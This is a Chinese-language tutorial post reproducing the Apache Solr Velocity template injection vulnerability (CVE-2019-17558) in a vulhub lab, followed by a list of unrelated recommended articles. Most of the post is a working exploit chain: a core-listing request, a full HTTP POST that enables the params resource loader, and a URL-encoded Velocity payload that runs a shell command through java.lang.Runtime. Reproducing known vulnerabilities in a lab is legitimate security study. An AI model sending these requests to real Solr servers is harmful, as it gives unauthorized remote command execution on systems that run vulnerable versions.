vulhub中Apache Solr Velocity 注入远程命令执行漏洞复现 (CVE-2019-17558)

Apache Solr 是一个开源的搜索服务器。

在其 5.0.0 到 8.3.1版本中,用户可以注入自定义模板,通过Velocity模板语言执行任意命令。

访问`http://your-ip:8983`即可查看到一个无需权限的Apache Solr服务。

1.默认情况下`params.resource.loader.enabled`配置未打开,无法使用自定义模板。我们先通过如下API获取所有的核心:

复制代码
http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json

2.通过如下请求开启`params.resource.loader.enabled`,其中API路径包含刚才获取的core名称:

复制代码
POST /solr/demo/config HTTP/1.1
Host: solr:8983
Content-Type: application/json
Content-Length: 259

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}

3.注入Velocity模板即可执行任意命令:

复制代码
http://your-ip:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
相关推荐
小小龙学IT2 天前
Apache Airflow 2.x 深度指南:用 Python 编排一切的现代化工作流引擎
开发语言·python·apache
sunxunyong2 天前
ranger与solr&ldap&doris集成部署
solr·lucene
Shepherd06192 天前
【IT 运维】Apache 使用 mod_remoteip 恢复 Cloudflare 后的真实访客 IP
运维·tcp/ip·apache
isyangli_blog2 天前
SDN 基本应用实践 —— 使用命令行实现简易防火墙功能实验报告
服务器·php·apache
编码者卢布3 天前
【Azure AI Search】Index的字段使用默认Analyzer(standard.lucene) 和 en.microsoft 有什么不同?
microsoft·lucene·azure
小小龙学IT3 天前
Apache Pulsar 深度解析:从架构设计到生产落地
apache
Full Stack Developme4 天前
Apache Tika 教程
java·开发语言·python·apache
laplaya4 天前
C++大型项目组件通信与依赖管理实践
c++·log4j·apache
万岳科技4 天前
教育培训小程序如何构建线上线下一体化教学体系
小程序·apache
yyuuuzz5 天前
云服务器软件部署的几个常见问题
运维·服务器·开发语言·网络·云计算·php·apache